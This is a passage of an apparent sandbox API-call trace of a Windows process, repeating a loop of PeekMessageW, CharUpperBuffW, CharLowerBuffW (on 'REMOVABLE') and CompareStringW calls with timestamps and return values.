wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.145] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.145] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.145] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.145] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.145] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.145] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.145] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.145] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.145] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.145] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.145] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.146] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.146] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.146] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.146] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.146] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.146] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.146] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.146] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.146] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.146] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.146] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.146] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.146] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.146] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.147] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.147] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.147] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.147] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.147] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.147] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.147] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.147] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.147] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.147] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.147] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.147] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.147] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.147] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.148] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.148] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.148] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.148] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.148] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.148] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.148] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.148] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.148] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.148] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.148] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.148] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.148] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.148] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.148] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.148] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.149] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.149] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.149] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.149] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.149] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.149] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.149] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.149] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.149] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.149] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.149] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.149] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.149] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.149] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.149] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.150] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.150] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.150] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.150] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.150] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.150] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.150] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.150] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.150] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.150] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.150] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.150] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.150] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.150] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.150] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.150] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.150] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.151] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.151] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.151] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.151] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.151] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.151] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.151] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.151] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.151] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.151] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.151] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.151] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.151] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.151] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.152] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.152] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.157] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.158] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.158] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.158] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.158] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.158] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.158] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.158] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.158] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.158] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.158] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.158] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.158] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.158] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.158] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.159] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.159] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.159] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.159] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.159] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.159] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.159] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.159] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.159] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.159] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.159] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.159] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.159] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.159] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.159] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.159] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.159] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.160] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.160] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.160] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.160] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.160] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.160] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.160] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.160] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.160] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.160] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.160] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.160] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.160] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.160] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.161] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.161] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.161] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.161] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.161] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.161] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.161] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.161] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.161] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 